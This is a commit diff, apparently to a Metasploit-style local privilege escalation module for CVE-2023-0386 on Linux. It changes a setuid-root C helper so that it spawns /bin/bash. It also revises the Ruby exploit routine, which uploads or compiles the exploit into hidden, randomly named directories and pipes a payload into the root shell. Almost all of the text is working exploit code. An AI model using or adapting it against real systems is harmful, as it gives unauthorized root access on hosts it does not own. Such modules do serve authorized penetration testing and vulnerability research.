Not call payload directory

Author: Takahiro-Yoko

data/exploits/CVE-2023-0386/payload_wrapper.x64.elf renamed to data/exploits/CVE-2023-0386/shell.x64.elf

@@ -1,15 +1,10 @@
 #define _GNU_SOURCE
 #include <stdio.h>
 #include <stdlib.h>
-#include <string.h>
 #include <unistd.h>
 
+
 int main(int argc, char const *argv[]) {
-    char cwd[500];
-    if (getcwd(cwd, sizeof(cwd)) == NULL) {
-        perror("getcwd() error");
-        return 1;
-    }
     if (setuid(0) < 0) {
         perror("setuid");
         return -1;
@@ -19,6 +14,8 @@ int main(int argc, char const *argv[]) {
         perror("setgid");
         return -1;
     }
-    system(strcat(cwd, "/payload"));
+
+    system("/bin/bash");
+
     return 0;
-}
+}

external/source/exploits/CVE-2023-0386/payload_wrapper.c renamed to external/source/exploits/CVE-2023-0386/shell.c

@@ -112,28 +112,28 @@ def exploit
     # Upload exploit executable
     exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
     exploit_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
-    payload_wrapper_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
+    shell_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
 
     mkdir(exploit_dir)
     register_dir_for_cleanup(exploit_dir)
 
     if live_compile?
       vprint_status('Live compiling exploit on system...')
       upload_and_compile(exploit_path, strip_comments(exploit_source('CVE-2023-0386', 'cve_2023_0386.c')), '-D_FILE_OFFSET_BITS=64 -lfuse -ldl -pthread')
-      upload_and_compile(payload_wrapper_path, strip_comments(exploit_source('CVE-2023-0386', 'payload_wrapper.c')))
+      upload_and_compile(shell_path, strip_comments(exploit_source('CVE-2023-0386', 'shell.c')))
     else
       vprint_status('Dropping pre-compiled exploit on system...')
       upload_and_chmodx(exploit_path, exploit_data('CVE-2023-0386', 'cve_2023_0386.x64.elf'))
-      upload_and_chmodx(payload_wrapper_path, exploit_data('CVE-2023-0386', 'payload_wrapper.x64.elf'))
+      upload_and_chmodx(shell_path, exploit_data('CVE-2023-0386', 'shell.x64.elf'))
     end
 
     # Upload payload executable
-    payload_path = "#{exploit_dir}/payload"
+    payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
     upload_and_chmodx(payload_path, generate_payload_exe)
 
     # Launch exploit
     print_status('Launching exploit...')
-    cmd_string = "#{exploit_path} #{payload_wrapper_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
+    cmd_string = "echo '#{payload_path} & exit' | #{exploit_path} #{shell_path} #{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
     vprint_status("Running: #{cmd_string}")
     begin
       output = cmd_exec(cmd_string, nil, datastore['TIMEOUT'])